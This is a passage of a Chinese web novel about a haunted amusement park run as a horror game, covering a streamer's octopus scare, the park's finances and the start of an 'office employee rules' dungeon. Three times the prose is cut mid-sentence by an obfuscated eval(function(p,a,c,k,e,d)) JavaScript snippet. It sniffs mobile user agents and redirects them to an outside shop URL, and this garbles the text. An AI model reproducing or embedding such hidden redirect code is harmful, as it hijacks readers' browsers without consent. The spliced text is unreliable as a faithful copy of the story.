也幸好看不清,厨房内贴着墙壁的位置有条不紊地放置着崭新的料理台和大冰柜,干干净净,光可鉴人,唯一奇怪的地方就是中间空出了大片位置,灯光忽闪,小仓的身影突兀出现在屋内。 “怎么样?” 原本空空荡荡的厨房忽然响起一阵湿滑的爬行声。 “顾客很满意?” 小仓伸出手指,在台面上抹了一把,很干净:“不错,继续保持。” 她正要转身离开,忽然想起什么,回身道:“对了,上工之前一定要把自己洗干净哦,注意卫生!” 说完,她便消失在了厨房中。 几条灵活的触手从墙面伸展下来,拿起窗口新出的的订单小票戳在了软木板上。 鱼人餐厅一派祥和,与餐厅一墙之隔的玩家团体之间氛围却一触即发。 “公主…我好饿……” 赵可心靠着郑恩宝,脸色难看,郑恩宝抿了抿嘴唇,她已经很久没有觉得饿了,但在这艘船上,陌生又熟悉的饥饿感却从五脏六腑慢慢延伸出来,她久违地产生了想吃东西的念头。 “那你说嘛,接下来投谁?!” 扮演天鹅院长的男生质问,总裁有些犹豫,他看了看公主和阿德利教母,又看了眼不在状态的王明:“其他人呢?有什么想法?” 自从驼驼小姐爆炸后,王明就一直无法集中注意力,他忍不住观察这艘船。 不观察还好,一观察,简直哪哪都不对! 空气中那股诱人的香气让人又饿又暴躁,窗外的雷暴离这艘船越来越近,压迫感让人连呼吸都很困难。 有那么一瞬间,他甚至怀疑自己不是在一条船上,而是在某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984604|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种生物的腹中。 裤脚被人踩了一下,他警告道:“别踩我!” 这艘船不知道是电压不稳还是故意做的恐怖效果,没有光亮的地方很多,他总觉得暗处有什么东西在盯着自己。 另一边裤脚又被踩了一下,王明大声吼道:“说了别踩我!” 赵可心吓了一跳:“谁踩你——你后面没人啊?” 王明愣住,数清楚眼前人数时,他心脏猛跳了一下,剩下的五个玩家和NPC都在他前面,那后面……是谁? 他鼓足勇气才回过身,后面是堵墙,没有任何人在的迹象。 “……你别故意吓人啊!” 赵可心又往郑恩宝的方向挤了挤。 王明喘了口气,骂道:“谁特么故意吓人——” 他话没说完,突然瞥到自己裤腿上有什么东西,看清楚后他脑袋轰一下炸了。 黑色的粘稠液体从裤脚处一路延伸到小腿肚,痕迹中甚至能清晰看到几个椭圆形的圆圈……就像是曾经有什么东西紧紧贴在他小腿上似的。 “啊!” 他慌乱退后,一下没踩稳,摔倒在地。 “怎么了?” 天鹅院长绕过来看了看:“不就是驼驼爆炸时候的脏东西吗?又不是你自己的裤子,紧张什么?” 王明半张着嘴,牙齿不住地磕碰着。 他清晰地记得,爆炸之后大家都回到房间清洗,他嫌擦脸麻烦,直接洗了个澡,新换的裤子干干净净,什么脏污都没有。 “大家都饿了,我们要不直接投票吧?早结束早吃饭?” 众人点头同意,纷纷进入宴会厅投票,王明跟着他们,眼神止不住地乱瞟,一副疑神疑鬼的模样。 船身随着越来越大的海浪不断起伏,哪怕只是普通的走路也要扶着点墙才不会摔倒,要是在海上这现象再正常不过,可他现在明明是在内陆湖! 船舱角落里的滑行痕迹、潮湿墙面上的海水气味、反光处总是会闪现的红色影子……都能让他一惊一乍。 他越看越害怕,这么多真实细节……这里真的还是游戏吗? “沙沙……” 窸窸窣窣的声音从头顶传来,他快速扫了一眼,天花板太黑了,什么也看不清。 王明咽了口口水,快步跟上大家。 投完票后,他们得到了新的线索,线索指向甲板尾部的救生艇。 天上电闪雷鸣,甚至要扯着嗓子喊他们才能听到彼此的声音,狂风席卷而来,吹得甲板上的破木箱发出快要散架的嘎吱声响,王明不知怎的,脑海里突然浮现出一股离奇的想法,这个大小……好像很适合装人。 “人齐了吗?” “还差一个,花豹呢?” “花豹?跟上啊!你在干嘛?!” 王明充耳不闻,他跟着了魔似的一步一步走近箱子,凑近缝隙处,他眯起了一只眼向内看去—— 对上了一只死不瞑目的眼睛! 是他自己! 王明大叫一声,转身就跑,他此刻内心只有一个想法: 他绝对……绝对不要死在这里! 29. 好大的鱼! 【吓老子一跳……】 【主播咋了?怎么突然就跑了?】 【话说,你们没觉得主播这次怪怪的吗?】 【前面的等等我!主播这次收钱了吧,演这么卖力!】 【我说呢,之前去扒皮高校的时候可不像现在这样,看来还是高校钱没打够。】 一提到钱的事,直播间的弹幕立刻变得污言秽语起来,王明作为职业探店(扒皮)主播,吸引来的粉丝当然也是只爱看扒皮的,刚开播的时候他还说这里哪儿哪儿都不好,没想到一进入游戏整个人就变了,哪怕嘴巴上还在揪毛病,语气和神态却骗不了人。 这是什么家人们?这是明贬暗褒啊! 直播间的家人们可受不了这种气,我花钱是来看你夸游乐园的吗?! 要是平时,王明肯定早就滑跪想办法转变直播间的氛围,但现在他满脑子只有逃出去,连看手机的功夫都没有,自然不会知道他的观众们正在群情激奋声讨他,也自然不会知道他的榜一大哥气得连发十条短信质问他在干嘛。 出口在哪? 这里不是…… 这里也不是…… 在哪? 到底在哪?! 王明跑进通往前甲板的走廊,他记得,当时选完角色之后就是从这出来的,那通道在哪?! 他忘记了自己可以终止游戏,也忘记了自己还在直播,如果郝荨现在点开地图的话,会发现他的头顶的惊吓值已经红到发黑,即将接近满值! 走着走着,他突然发现了一扇门,这扇门藏在拐角处,上面贴了个字条“员工通道,玩家禁入”,王明眼前一亮,这里能离开! 他用力去拉,却怎么也打不开这扇门,气急败坏之下他转身拿起灭火器就要砸—— “咔嚓。” 之前怎么晃都纹丝不动的门忽然开了,王明欣喜若狂,扔掉灭火器就推门冲进屋内。 这里是……厨房? 灶台上咕嘟咕嘟煮着什么东西,几缕白烟飘散在空气中,空旷又安静,这里没有那种让人烦躁的肉香,也没有时不时扰人心绪的雷声,窗外传来阵阵笑声,他恍惚了一会儿,总算是找回了些许理智。 对了,直播! 理智重回大脑后,五十万又重新占据了高地,他连忙掏出手机,榜一大哥已经气到说叫他退钱,王明顾不上直播间,迅速打字道: 【哥我没有害怕,装作被吓到只是我计划的一步,一切都在按计划进行,你放心我自有打算!】 ——【你最好是没骗我!】 对面勉强被安抚下来,王明喘了口气,心里却在发憷,这条船看着正常,游戏也没有什么刻意设置的JumpScare,却在无数细节里暗示他这里有问题,是很高明的氛围恐惧手法,这要怎么黑? 他开始后悔为什么要接这一单,可五十万……他只是个小博主,靠帮那些什么密室店剧本杀店黑对家来赚钱,有时候被黑的店家还会找到他,给钱让他删视频,他两头通吃一整年也不一定能赚到五十万。 王明思来想去,还是下不定决心回去,氛围恐惧最吓人的就是你没注意到还好,一旦注意到,那诡异之处简直无孔不入地侵蚀你的神经,让你都不知道发生了什么就毛骨悚然。 【哟,主播总算是看弹幕了,收了多少钱啊?】 王明有苦难言,他只能破罐子破摔,强撑着取下摄像头对准自己: “谁说我收钱了?我堂堂男子汉王小明,顶天立地做人,从不收钱!” 他嘴巴上说得信誓旦旦,表情却挤眉弄眼,一直给观众使眼色。 王明小声道:“一会儿给大家发红包,差不多得了啊!” 话音刚落,手速快的弹幕已经画风一转: 【大家都是兄弟,我信兄弟!(五毛一条,记得删掉)[狗头]】 【好好好,王小明纯爷们!】 【谁敢不信主播我第一个喷他!】 一滴液体落在王小明手机上,他先是吓了一跳,随后发现只是普通的水,想必是锅上烧出的水蒸气遇到天花板落下而已。 他压低声音,做出一副鬼鬼祟祟的样子:“说实话,家人们,这里真不兴来,无聊的很!又偏又破,说是大逃杀也没什么逃杀环节,就大家坐一起聊天投票,还不如狼人杀有意思!” 说完,他又大声说:“太恐怖了家人们!你都不知道我刚刚遇到了什么!” 滴答。 又是一滴,这下是滴在了王明头上,他摸了一把,还是普通的水,他有些无语,这房间通风这么差吗,就一个锅,居然能有这么多水蒸气。 他把摄像头放地上,准备起来换个地方。 在他起身的时候弹幕忽然变得密密麻麻: 【!!!!!】 【我靠!什么东西!!!】 【弹——幕——护——体——】 【救命救命救命救命救命!!!】 【啊啊啊啊啊啊啊——】 王明起身的动作顿住,他看向手机,可弹幕实在太多了,五颜六色混在一起飞快划过,他连一个字都看不清,只能看清无数感叹号。 “怎么了?” 一个烟花炸在屏幕中央,“社会你王哥”发了一条弹幕: 【头上!!!】 头?王明下意识摸了一下,什么都没摸到,他忽然想到什么,那只锅还在火上,照理说厨师不会走远,那么……厨师在哪? 他抬起头,一滴水正好滴在他眼睛里,他连忙抹掉,可很快,他就后悔自己为什么要向上看—— 一只巨大的八爪鱼遮盖住了整面天花板,它的身体缓慢蠕动着,柔软的腕足悬挂在他头顶,水滴顺着腕足滑至尖端,浑身鸡皮疙瘩骤起,王明张开嘴,想要叫救命,来自基因深处的恐惧却让他连开口都做不到! 他一步一步退到门口,转身就要去开门,这门却不知何时被牢牢锁死,他出不去了! 一股带着水汽的森冷气息从他的头顶直到后颈,王明慢慢回过头。 是那只巨大的八爪鱼!它从天花板上坠下,双目紧紧盯着这个误闯的人类,它的眼睛乌黑而有光,充满着审视与智慧,就仿佛某种 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难怪它说是福是祸只与园长的运气有关,这要是处理不好可是游乐园丑闻了,她想了想,拿起摄像头对准自己: “直播间的朋友你们好呀,我是迷雾乐园的园长,请放心,主播没事,应该过一会就会醒来,我想,可能是他太累了吧,休息不好还出来玩确实可能会发生这种事的,大家要引以为戒哦!” 弹幕先是一顿,然后就是一堆问号刷屏。 【???】 【园长认真的???】 【说起来王小明昨天确实直播到凌晨两点……】 【不是,前面的被绕进去了吧!重点是主播吗?重点是天花板上那只大章鱼!!!】 天花板上的章鱼? 她不着痕迹地向上看去,上头空无一物,什么都没有。 “哦……你们说八爪鱼吗?那是我们游艇项目【鱼人节盛宴】的道具而已——” “咔哒。” 一声清脆的响动从上方传来,郝荨望去,一小截柔软的东西快速缩进了通风管道,过了几秒,它又悄悄伸出,把天花板盖盖好。 郝荨:…… 她强作镇定:“如果大家感兴趣的话也可以来我们游乐园亲身感受!当然,如果大家胆子比较小或者休息不好的话还是要以个人承受力为主,不要学习主播哦。” 将直播间的观众糊弄过去,郝荨借口没电关闭了直播间。 她抱起双臂脚尖点地:“不解释一下?” 缩成一团的小仓露出一个尴尬又不失礼貌的微笑,小步挪到通风管道下面,伸出手“嘬嘬嘬”呼唤道:“小八。” 管道盖板被掀开一条缝,名叫小八的八爪鱼一点点将身体挪了出来,偌大一条鱼轻巧地落在地板上,它努力把身躯挤在小仓身后,就好像自己还是个宝宝。 靠! 她的游乐园里居然有这么大一条八爪鱼! 30. 我们乐园不能有吃白饭的!^^…… “……这不会是神明吧?” 小仓果断摇头:“它只是神明投射在世界里的一小块影子而已。” 得知不是神明,郝荨明显松了口气。 但你跟叫狗一样叫它这样真的可以吗? 见郝荨不说话,小八可怜兮兮地扒住小仓,巨大身躯在光影的变换下逐渐缩小,最终变成了一只巴掌大肉嘟嘟的粉色小八爪。 配上小仓那张圆滚滚的仓鼠脸蛋,活像郝荨是什么大恶人似的在这欺负小孩。 郝荨叹口气:“好吧,我只有一个要求,别被玩家发现它是活的。” 小仓和八爪鱼疯狂点头,这件事就算过去了,郝荨找来余逸,让他帮忙把王明拖出去,看在游乐园小火了一把的份上,她就不跟王明计较偷带设备的问题了。 王明这下是吓得不轻,直到剩下的玩家通关他都没醒。 赵可心“呜呜”边流泪边架着郑恩宝来到桌边,她们俩作为活到最后的人,几乎可以说是了解了全部背景故事,十五年前的那场雷暴、死去又被消费的八爪一家、以及那位将自己献给神明以抹除作为人类全部痕迹的女孩,她完全无法克制住自己,哭得一把鼻涕一把泪的,郑恩宝也眼眶微红,她本就有些虚弱,情绪一激动差点没喘上气。 “怎么了?” 郝荨着急忙慌跑过来询问,可别出什么事! 赵可心有无数话想说,想问为什么园长要做这么惨的故事,还想问小仓最后的结局,她的愿望达成之后神明会如何对她,可最终她还是捂住肚子: “好饿……学姐,我要饿晕过去了!” 他们玩了七个多小时,中途几顿饭虽然有菜有肉,可那肉谁敢吃啊!菜叶子倒是管饱,可不知道为什么,闻着那个香味,她越吃越饿,越吃越饿,最后那大章鱼出来的时候她眼睛都要冒绿光了! 郝荨适时把菜单递给她,赵可心开口就要了一个八爪套餐,里面包含了汉堡、章鱼足小食和可乐。 “我也要一样的……”郑恩宝小声开口。 “恩宝!”赵可心大叫一声,“你感觉到饿了?!” “终于饿了?!” 桌游社的同学们闻言一拥而上,把郑恩宝围在中间,自从郑恩宝生病以来,他们眼睁睁看着她日渐消瘦,想办法找来新奇的事物郑恩宝也只能吃几口,吃多了还吐,久而久之,他们也不敢强求她吃东西了。 余逸大喊:“等等!等等!别给恩宝压力,她能吃几口算几口!” 赵可心抹掉眼泪:“对对,没关系,不要强迫自己。” 听到这话,郝荨若有所思,她点开游乐园一览,郑恩宝的界面里一直有一个【厌食】图标,此刻,【厌食】图标后又出现了一个新的【饥饿】图标,这个图标郝荨是知道的,算是小仓自带的领域BUFF,所有她领域中的生物都会饿得更快。 她还以为这个BUFF是纯纯资本家行为,好方便她卖美食,现在看来,自从BUFF出现后,郑恩宝的【厌食】图标就越来越淡,或许……也不是没有好的一面? 鱼人餐厅的饮食和那杯诡异的奶茶一样,每个都长得“鬼斧神工”,不过味道倒是没有骗人,非常好吃,赵可心吃完一个套餐还不够,又点了个动物拼盘,每个小食都颜色怪异,有的奇丑无比,有的像是女巫捏出来的,她拿起一个长得很像水滴鱼的炸鱼,做足心理准备才放入口中。 许久,她流下两行热泪,一把握住郝荨手臂:“学姐,咱们游乐园有外卖吗?求求你了,拯救一下母校大学生吧!” 山海大学是很有名的学校,师资力量雄厚,唯独一点总是被人诟病,就是食堂太难吃了,郝荨表示自己很理解她,但不行。 “太远了,外卖费不值得。” 悲伤之下,赵可心又怒点一杯奶茶,她猛吸一口后忽然发现不知不觉间,郑恩宝已经把那份套餐吃得七七八八,正在喝可乐! “恩宝!你感觉想吐吗?” 郑恩宝笑着摇了摇头,郝荨点开她的界面发现【厌食】图标已经彻底消失不见。 “魔法!学姐的游乐园有魔法!” 赵可心只是随口一说,郝荨却吓了一跳,她赶忙解释:“哪有什么魔法,学妹之前可能有些不开心,恐怖游戏本来就能让人发泄放松缓解压力,情绪抒发出来了,自然人就好啦。” 两个学妹似懂非懂地表示了解,郝荨退到一旁后抹了把汗。 “嗯?” 怎么感觉少了个人…… “王明呢?!” 神使一愣,立刻开始检索—— 【园长,这位游客带着设备跑路了。】 郝荨:…… 她本来还想问问对方合作方式,但是想想这人违约探店,靠黑店家为生,这种名声找他打广告可能还会拉低游乐园的评分,还是算了。 不过直播倒是一种不错的宣传方式,可以考虑找谁试一下,她偷偷看了一眼神使。 神使敏锐回望,但郝荨早已移开视线,它没发现什么,继续趴在桌子上晒太阳。 此时此刻,游乐园外的小树林里。 王明一个腿软,摔在地上,锋利的树枝划破了他的裤子,在皮肤上留下一道血痕。 手机震动了起来,他抖着手接起,对面上来就劈头盖脸一顿骂。 “哥,你听我说!不是我不努力,这游乐园真的有问题!” “我不知道有问题吗?没问题我叫你去干嘛?!退钱!” “不是,哥,我都吓晕了,这没有功劳也有苦劳吧?这样吧,尾款我就不要了,但是定金——” “我管你有没有吓晕!没搞臭她不说,还让她火了!我不问你要赔偿你以为我好说话是吧?!” “不是,您听我说嘛,我——” “我不想听你解释,今天你不退钱就自己看着办!” “嘟,嘟,嘟……” 电话那头,那人挂掉电话后越想越气,愤怒地将手机砸向墙壁,只听一声巨响,穿衣镜被砸了个粉碎,几片镜片落在那人脚下,露出一张熟悉又陌生的脸。 头发蓬乱,胡子拉碴,任谁来也认不出他几天前还是学校的风云人物——钱季铎。 看到镜中的自己,钱季铎先是条件反射般躲闪,随后愤怒又袭上心头,要不是那个见鬼的女人!要不是那个恐怖的游乐园!他现在还好端端的过着纸醉金迷的富二代生活!女友不断!兄弟追捧!怎么会沦落到一闭眼就做噩梦的地步! 在梦里,他不是那个高高在上的富二代,他是被他甩掉的舞蹈生,是一夜情的酒吧女,还是……还是那个疯女人!廖青! 他不敢再睡觉,也不敢去学校,只不过一场游戏,他就从天之骄子变成了废物! 钱季铎喘着粗气,青筋暴起,他打开电脑,屏幕中央显示着一个黑色的匿名论坛。 论坛的名字很正经——“民间传说与神话怪谈研究会”,钱季铎找到帖子,愤怒发道: 【那蠢货失败了!】 【还有什么办法能搞掉那个游乐园?!还有那个女人!我一定要让她付出代价!!!】 几分钟后,对面发过来一条链接。 ——【或许,你需要这个。】 ——【链接:“救命!我编的怪谈成真了!”】 * 明天进本,郝荨在做最后的准备工作,她盘点了一下自己的技能和道具。 ……其实也没什么可盘点的,作为一个刚通关两个本的低阶玩家,除了初始武器【弗兰德斯之木仓】外,她就只有一个辅助技能【身临其境】。 倒是“资本家”这个天赋还不错,但一场副本只能召唤一次,实在是有点不够啊。 都说一切恐惧来源于火力不足,她现在就很恐惧! 郝荨点开论坛的交易板块,一时间有些眼花缭乱,各种各样的武器、道具……甚至还有技能! 【迷雾游戏】的品阶从低到高分别是白绿蓝紫橙,听说再往上还有红色品质,可几乎没人见过。 郝荨看得心动不已,只觉得每个都写着她的名字! 可惜,她没有钱。 她痛心疾首地划去了自己买不起的价位,光屏上瞬间清得干干净净,只剩下一个道具: 【道具:公主的告白信】 【品阶:绿】 【描述:没有人可以拒绝公主,没有人,但——爱情和身份有关吗?】 【价格:1999】 看了眼时间,这个道具已经挂在上头三个月了。 郝荨哽住,这个道具乍一看好像很有用,可以无条件绑定一个NPC谈恋爱,只要你够大胆,BOSS也可以泡一泡,可描述的后半句又好像在暗示着什么,恋爱就能确保对方爱你保护你吗? 那可未必。 但就这种白色道具,她想买也很勉强。 她看了眼乐园的账户,恰好还有两千多块。 就这,还是那帮学弟学妹新鲜上交的游戏钱。 穷,太穷了。 穷得她都要心梗了! 郝荨深呼吸,斟酌半天还是忍着心痛选择了下单,买家也很震惊竟然有人愿意买,立刻约好了明天在迷雾大厅交易。 刚退出论坛,手机铃声突然响起。 “你好,快递。” “好的我马上来。” 郝荨取回快递,照理说游乐园这么偏远应该是没有快递站点的,但也不知道系统怎么做到的,快递员竟然能送到大门口,她的方便面可乐洗漱用品等等全是靠快递来的。 黑色眼球矜持地跟来: 【你新买了什么?比方便面还好吃吗?】 郝荨盯着它几秒,露出了一个恶魔般的微笑:“这个虽然不能吃,但你努力的话,就会有数不完的方便面吃。” 神使的独眼中显露出大大的疑惑。 很快,它就明白发生了什么。 地面上赫然出现一个约有一米左右,有着莹白色圆润外壳的——小机器人。 神使疑惑,神使震惊,神使控诉! 【让我来直播?!】 “昂。” 郝荨满意地打量着这个小机器人,身形圆滚滚,脸上顶着一个显示屏,不止可以显示文字,还可以显示表情,圆润的手臂线条下甚至还有五根手指,方便它做出如抓取之类的精细动作。 她敲了敲它的脑壳,发出清脆的“梆梆”声。 “从今天起,你就叫‘小雾’,是本园长钦定的乐园首席宣传官!” 神使:…… 【你是不是觉得我很好骗?】 “当然不是。” 郝荨表情一转,叹了口气:“你这么厉害,想必咱们乐园的情况你也知道。” 她垂下眼睛,浓密的睫毛掩住情绪。 “想要顺利运转实在不是件容易的事,人类好玩的东西太多了,如果不想办法做推广,根本没有人会知道这里开了家游乐园,更别说吸引更多游客来瞻仰神明光辉。” 神使感觉有些别扭,自从它绑定这个玩家以来,郝荨就一直表现得很强势,甚至还敢与它叫板,它还从没见过她如此愁容满面的模样。 【你…你现在知道自己是在放大话了?】 “嗯。”郝荨把脸埋在膝盖里,“看到王明我才想到可以用直播来宣传乐园,但乐园账上只有几百块,请不起专业的主播,我要进副本,蒋红小仓要负责游戏,实在找不到人来直播……” 她轻轻抽气:“我有点后悔了。” 【……后悔什么?】 “也许当时我就应该坦然接受死亡,这样至少……你还可以找更厉害的玩家,总不至于落得跟我一起被清零的后果。” 她语气淡淡,声音却带着些许哽咽。 作为神使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“嗯……它用的是新型材料。” 郝荨视线漂移,实际上是因为她的钱只够买个外壳,如果有人把它拆开的话,会发现里面什么零件都没有,空荡的好像有些人的脑子。 “呼~谢谢你。”小雾从肚子里掏出评价本递给大家,“麻烦大家给个好评哦!” 神使给自己打气,它是为了乐园忍辱负重! 等它能脱离乐园一定要给这个胆大妄为的玩家好看! 神使出卖了珍贵的色相,成功获得九个好评。 “可把小雾累坏了,我得歇会。” 它找了个角落往里一蹲,自闭了。 “对了学姐,你是海城人吗?”郑恩宝举手问。 郝荨摇摇头:“不是呀,怎么这么问?” 郑恩宝有些不好意思,赵可心开口:“她以为学姐和她是老乡呢!” “嗯,”郑恩宝挠了挠脸颊,“鱼人节这个故事很像我们那边的一个传说,也是一家人在海上被害的故事,听说凶手一直逍遥法外,被凶手害死的一家人也无法瞑目,化身冤魂在海上飘荡。” 她看向游艇:“据说,如果雷暴天气出海,可能会看见一艘白色大船,船上有个姑娘在一直等待凶手的归来,所以,心里有鬼的人不能在雷暴天气出海,会一去不回。” 郝荨微微皱了下眉,确实和小仓的故事很像,不过太阳底下没有新鲜事,哪怕是没有血缘关系的人也可能会长相相似,何况故事。 “不过现在看来应该只是巧合,”郑恩宝朝她摇摇手,“那我们走啦!” “好,下次再来玩哦!” * 次日,迷雾大厅。 “是你?!” 郝荨惊讶,顶着羽毛面具的雀斑女孩也很震惊,上线前她还在想是哪个傻白甜小说看多了,居然敢买【公主的告白信】,怎么也没想到居然是熟人。 “你真的要买?”盗心谨慎道,“货物售出概不退换啊。” 郝荨点点头。 “好吧。” 见她如此,盗心也爽快把道具拿出,两人一手交钱一手交货,交易一完成盗心就径直下了线。 好像生怕她会找她退钱一样。 郝荨收好道具,来到了低阶游戏入口,刚一进去就看到一个顶着煤球头套的显眼包在疯狂扭头寻找着什么。 郝荨深吸一口气,拍了他一下,把他拉到角落。 “小余?” “玛弥?” 两人郑重握手,进本之前郝荨已经和余逸商量好,两人在游戏中会统一使用假代号,郝荨是为了安全起见,余逸则是不喜欢他原本的代号“霉神”,还一度以为学姐知道了自己的代号会拒绝带他下本,发现她并不介意后感动得眼泪汪汪。 郝荨无奈,她只是更相信自己的感觉。 余逸比平常人来说或许是倒霉一些,但他心地很好,对郝荨来说,善良的倒霉蛋可比二五仔的幸运儿好多了。 两人一同走进入口。 【玩家“霉神”向你发起组队申请,是否同意一起进入F级特殊副本——“办公室员工守则”】 同意。 【欢迎来到迷雾游戏。】 在他们一墙之隔的另外一条低阶副本入口,霍格同一时刻点击了【同意】。 直到他的身影消失,其他玩家才迫不及待聊了起来: “霍格又来了,这是第几次在这儿看到他了?” “谁知道!反正一天24小时起码有22小时都能看到他下副本,高阶玩家都这样吗?把睡眠进化掉了?” “他想找的东西还没找到吗?不应该啊……” 31. 办公室员工守则01 “咦?”余逸疑惑的声音响起。 郝荨睁开眼,惊讶发现除了他们之外竟然还有一个玩家,这个玩家的个子也很高,仔细看去比余逸还要高上一点,他戴了个黑色的半面罩,面罩下是一张陌生的脸。 这个面罩…… 余逸打招呼:“我是小余,她是玛弥,兄弟你呢?” 面罩男的眼神微动,在郝荨脸上停留了两秒,他好像微微笑了一下,笑容收得很快,郝荨几乎要以为那是错觉。 “法瑟。” 余逸眼睛“唰”一下张得老大,他用力拍了一下法瑟:“真的啊!这么巧!” 他看看郝荨,又看看法瑟,这熟悉的配置,这把稳了! 郝荨也没想到这么巧,她望着法瑟那张新的平均脸,这游戏就是这点不好,不管两人多熟,没提前通气的话在副本里遇到也认不出来,像低阶副本这种多合作类型的还好,听说中阶和高阶还会有竞争博弈的,到时候要是大水冲了龙王庙,自家人打自家人可怎么办? “不过我还以为BOSS只送了我一人呢,没想到别的人也有,原来,我只是它鱼塘里的一条鱼罢了!”余逸语气悲痛。 郝荨歪头,正要接话,法瑟突然“嗯”了一声: “玛卡喜欢年轻男生,很多人都拿过她的邀请函。” 玛卡就是余逸新手场游戏的BOSS,是个有很多情人的大姐姐。 “什么?!我要闹了——” 一道奇特的金属碰撞声响从上空发出。 “什么声音?” 几人迅速抬头,两条锁链从天而降,锁链下挂着一台老式电脑,屏幕“咔咔”几下,发出了费劲启动的嗡鸣声。 许久,屏幕才成功亮起: 【邀请函检查中——】 【检查成功。】 【欢迎来到F级特殊副本“办公室员工守则”】 【我是本关卡的看守者,编号404。】 【这周,忙碌的[日日夜夜设计公司]迎来了一批笨手笨脚的新员工,请员工仔细阅读[员工守则]以确保自身安全。】 【守则一:公司为每一位员工都准备了工作制服,上班时请统一着装。】 【守则二:员工卡是你唯一的身份证明,请务必随身携带,并确保卡上显示的是你的照片与姓名。】 【守则三:员工餐会在每天固定时间准时放置在办公室门口,员工餐按人头分配,不会多,也不会少,请确保用餐时每个人都有一份员工餐。】 【守则四:普通员工为白色餐盒,黑色餐盒是经理专用,如发现有人拿错餐盒,立刻闭上眼大喊“公司是我家,业绩靠大家,努力再努力,人人创佳绩!”的口号,并等待五分钟,无论发生什么,都不要睁眼。】 【守则五:为了你的工作效率,本公司没有设置休息室,如果你在走廊上看见,请无视它并立刻回到自己的工位上。】 【守则六:本公司严格执行规模化、流程化管理,每位员工都会且仅会待在自己部门的办公楼层,如果你在本楼层看见其他楼层的部门员工,请立刻告知你的经理。请注意,无论对方说什么,都不要相信他/她。】 【守则七:经理有且只有一张脸,两只眼睛一个鼻子和一张嘴,请确保你在办公室看见的是且只是经理。】 【守则八:工作效率!工作效率!工作效率!为第一要义,一切私人事物要为工作效率让路。】 【守则九:本公司鼓励员工良性竞争,每周获得最佳员工的人将得到派遣至总部的资格。】 【游戏目标:顺利离开公司。】 “叮铃铃……” 刺耳的铃声瞬间穿入每个人的耳膜,周围亮起,他们来到了一栋写字楼里,一楼大堂人来人往,每个人都穿着不同的制服步履匆忙,这座大楼的电梯很多,占据着满满两面墙壁,不时有人排着队打卡进入。 灯光将电梯照得惨白一片,冷色调的地砖光可鉴人,让人有些不太舒服。 “咱们现在要做什么啊?” 余逸站直身体,作为一个刚刚才结束大一生涯的清澈大学生,骤然来到这种环境让他忍不住头皮发麻。 郝荨:“等等。” 话音刚落,三人面前的电梯忽然响了: “叮咚。” 电梯门缓缓打开,里头走出来三个穿着黑色定制西服的精英男女,瞧着四十岁上下的模样,胸口的员工挂牌上分别写着“崔经理”“李经理”和“艾经理”。 姓艾的女性将头发梳得一丝不苟盘在脑后,她推了推无框眼镜,语气冷淡:“你们想跟着谁?” 郝荨试探道:“随便选吗?我们可以选同一个经理吗?” 艾经理瞥了她一眼:“可以。” 崔经理眯着眼笑笑:“总算是来新员工了,咱们公司正缺人呢!” “是啊,”李经理叹了口气,“新人也不好带啊。” “嗨,也不是每批新人都跟你上次那批一样嘛!我看这几个员工就很优秀啊!” 艾经理打断道:“选好了吗?” 郝荨想了想,扭头问法瑟:“你是自己选还是跟我们一起?” “一起。” “那我们都选艾经理。” 崔经理有些惊讶,似乎没想到他们会选看起来最凶的艾经理。 艾经理打开手中的文件夹,取出三本小册子分发给他们,崔经理解释道:“员工入职守则还记得吧?不记得也没关系,守则里都写了,你们之后再看也可以,只有一条——” “守则六:每位员工都会且仅会待在自己部门的办公楼层,而在这栋大楼,每座电梯只会通往一个楼层。”艾经理微微抬起头,从上到下瞥了他们一眼,“我只带你们走一次。” 崔经理笑道:“别这么严肃嘛,犯错也不是什么大不了的事,我们【日日夜夜设计公司】占据了这栋楼的27、28、29三层,艾经理是27层的主管,你们只要记住自己楼层的电梯就行。” 艾经理皱了皱眉,似乎很想说什么,但她最终没有开口,而是带着郝荨三人来到27号电梯口。 这里的电梯都要用员工卡才能刷开,关门的瞬间郝荨好像听到崔经理的声音: “行啦,这批结束,我们去接别的……” 别的什么?除了他们,还有别的玩家? 电梯门关上。 崔经理:“上楼后先换制服,换好后来我这里领取员工卡。” 她应该是个严肃古板的人,不怎么爱说话。 余逸有些疑惑,小声问:“玛弥,这是直通电梯,那他们怎么是从同一个电梯里出来——” 他话没说完,一道锐利的视线直射过来,余逸瞬间噤声。 这个艾经理实在太严肃了,好像他高中的教导主任,作为一个刚刚脱离高中校园生活将将一年的大学生,这种仿佛根植于血脉的恐惧再一次燃起,他悄悄躲到了郝荨身后,发现郝荨的身板挡不住他后又挪动脚步躲到了法瑟背后。 几秒后,那道视线才被艾经理收回:“回去把‘员工’守则抄十遍。” 她说得不快也不慢,却唯独强调了“员工”两个字,郝荨恍然,员工守则自然只有员工才需要遵守。 “叮咚,27楼到了。” 好听的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他颧骨高耸,眼睛不大,看起来有点凶,这句话好像炮仗一样一下点燃了办公室的冰冷氛围,坐在郝荨隔壁的女生阴阳怪气道:“巴哥,你管这么多,不会是喜欢人家吧?” 此话一出,瞬间,办公室一下子喧哗起来。 “不会吧?” “这么说起来,巴哥确实总是去找小乔……” “那他要退出最佳员工的评选吗?” “这可不一定,你不懂,男人嘛——” “琳达!”小乔稍稍提高声音,“你别乱说,我们只是同事关系。” “嘁。”琳达翻了个白眼,继续工作。 小乔抱歉地望向郝荨:“我也得继续工作了,午休再聊。” 